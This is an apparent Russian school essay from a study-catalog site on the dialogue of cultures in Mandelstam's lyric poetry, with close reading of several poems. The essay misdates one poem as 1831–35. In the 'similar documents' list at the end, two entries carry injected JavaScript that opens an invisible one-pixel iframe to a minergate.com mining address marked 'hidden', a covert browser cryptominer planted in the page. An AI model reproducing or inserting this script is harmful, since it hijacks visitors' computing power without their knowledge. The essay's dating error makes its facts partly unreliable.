-



   Диалог времен и культур в лирике О.Э. Мандельштама (на примере 2 – 3 стихотворений по выбору экзаменуемого). Роль изобразительных средств в стихотворении «За гремучую доблесть грядущих веков…»




doc.png  Тип документа: Сочинения


type.png  Предмет: Мандельштам О.Э.


type.png  ВУЗ: Не привязан


size.png  Размер: 0 b

Диалог времен и культур в лирике О.Э. Мандельштама (на примере 2 – 3 стихотворений по выбору экзаменуемого). Роль изобразительных средств в стихотворении «За гремучую доблесть грядущих веков…»

В своем творчестве поэт опирается на богатые традиции мировой культуры, включая в свои произведения идеи и образы художников разных эпох и разных народов, события многовековой давности и нетленного искусства. Это было общей чертой поэзии Серебряного века, но Мандельштам в подходе к культурно-историческому наследию отличается от многих своих современников: у него культурно-исторические реалии вплотную приближены к современности, входят в сегодняшнюю жизнь.
Стихотворение «Бессонница. Гомер. Тугие паруса» - одно из красивейших стихотворений лирика . Оно навеяно поэмой Гомера «Илиада». Лирический герой приходит к философскому выводу, что ценности разных культур едины, что их взаимосвязь очень тесна. Лирический герой задает риторический вопрос: «Когда бы не Елена, Что Троя вам одна, ахейские мужи?» Поэт уверен, что все в мире, вне зависимости от времени, движется одной мощнейшей силой – любовью: «И море, и Гомер - всё движется любовью».
В годы Первой мировой войны мысль о взаимопроникновении разных культур приобретает у Мандельштама особое значение

. В 1916 году поэт создает стихотворение «Зверинец», отличавшееся антивоенной направленностью. Мир без войны представляется лирическому герою светильником, горным эфиром, глотки которого живительны. Но воюющие народы не оценили этого богатства развернули никому не нужную войну:
Лирический герой противопоставляет себя зверинцу, олицетворяющему воюющие страны (лев, петух, орел, медведь). Он стремится напомнить воинам, что все мы братья, все мы вышли из одной колыбели, культуры наши родственны, поэтому нам нечего делить:
А я пою вино времен —
Источник речи италийской —
И в колыбели праарийской
Славянский и германский лен!
В начале 30-х годов поэзия Мандельштама становится поэзией вызова. Так появилось его стихотворение «За гремучую доблесть грядущих веков…» (1831-35 гг.). Оно написано разностопным анапестом, это должно было сделать тон и ритм стихотворения мягким и плавным. Но перекрестная мужская рифма, а кроме того отсутствие пиррихиев, сообщает всему произведению жесткий, устойчивый ритм, который отвечает идейному содержанию.
Поэт пишет о доле благородного человека, о том, что его окружают только «трусы», «хлипкая грязца» (метафора). Поэт пишет в первом четверостишии:
За гремучую доблесть грядущих веков,
За высокое племя людей
Я лишился и чаши на пире отцов,
И веселья, и чести своей.
Время, в которое довелось жить Мандельштаму, лишало чести, ведь ради того, чтобы выжить, нужно было поддерживать «курс партии», иначе - «черный воронок». Выбор стоял между жизнью и честью. Жестокость этого выбора поэт выражает в эпитете «век-волкодав»:
Мне на плечи кидается век-волкодав,
Но не волк я по крови своей.
Поэт не желает делать выбора, учитывая, что понимает, насколько это глупо и нелепо. Подлость нельзя поддерживать своей жизнью. По этой причине лирический герой решает уйти от этого общества. Он согласен и на ссылку. Герой хочет превратиться в шапку (сравнение и метафора), чтобы остаться верным себе, своим принципам:
Запихай меня лучше, как шапку, в рукав
Жаркой шубы сибирских степей.
Для описания счастья свободы и того настоящего ужаса, который окружает лирического героя, автор использует прием антитезы

. В третьем четверостишии первые две строки описывают окружающую реальность, вторые – недостижимый рай, природу Сибири:
Чтоб не видеть ни труса, ни хлипкой грязцы,
Ни кровавых кровей в колесе,
Чтоб сияли всю ночь голубые песцы
Мне в своей первобытной красе...
Антитеза усиливается и цвеᴛᴏʙым противопоставлением. Красный («кровавых кровей») и голубой («голубые песцы»). Сибирь вообще описывается поэтом в ассоциативной голубой гамме: «Еʜᴎϲей», «до звезды» (небо):
Уведи меня в ночь, где течет Еʜᴎϲей
И сосна до звезды достает...
Последние две строки стихотворения являются как бы квинтэссенцией всего произведения

. В них лирический герой не только еще раз подчеркивает свою непринадлежность к «волкам» (на тюремном жаргоне это означает «предатели»), но и указывает на то, что его «убийцам» до него не дотянуться. То есть не сломить дух героя, не заставить его стать «волком», не заставить его предать…
Потому что не волк я по крови своей,
И меня только равный убьет.



Похожие документы


Образ Печорина — итог раздумий Лермонтова о «современном человеке»
...

Дмитрий Павлычко - наш современник, поэт, переводчик
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

«Герой нашего времени» высшее достижение романтической прозы
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })();...

«Энеида» И. Котляревского и ее место в украинской духовной культуре
Если предшественники и современники И. Котляревского, обращаясь к Вергилию, в первую очередь прибегали к пародированию его классической эпопеи, ее образов, драматичных коллизий и тому подобное, то украинский поэт сознательно становился на другой путь – он стремился к "перелицовке", травестированию римского оригинала, переосмыслению его патетической тематики в подчеркнуто сниженной тональности. При этом И. Котляревский отказывается от многих эпизодов, образов и ситуаций первоисточника. И в то же время вводит новые жизненные картины, приближает его к украинской действительности, предоставил всему произведению народно национальный колорит. "Энеида" И. Котляревского несомненно превосходит все предыдущие травести Вергилиевой эпопеи, которые "давно отошли в историко-литературный архив" (О. Билецкий)....

Портретные и пейзажные описания в романе «Герой нашего времени»
М Ю. Лермонтова называют преемником Пушкина, наследником «могучей его лиры». Кроме того, в произведениях поэта, особенно ранних, четко прослеживаются традиции и Жуковского, и Рылеева западноевропейской литературы. Но все же Лермонтов, как любой выдающийся писатель, обладает своим особым стилем, который к моменту создания романа «Герой нашего времени» был уже полностью сформирован. Портретные и пейзажные описания имеют ряд особенностей и по другой причине. Роман «Герой нашего времени» составлен из отдельных частей, объединенных общим героем и местом действия. Кавказом; каждая из них представляет собой образец какого-либо малого жанра русской прозы 30-х годов XIX века. И это предполагает, с одной стороны, широкий диапазон художественных средств, а с другой - накладывает на произведение ряд условностей (например, связанных с особенностями каждого из жанров)....

Bigreferat.ru - каталог учебной информации (c) 2013-2014 | * | Правообладателям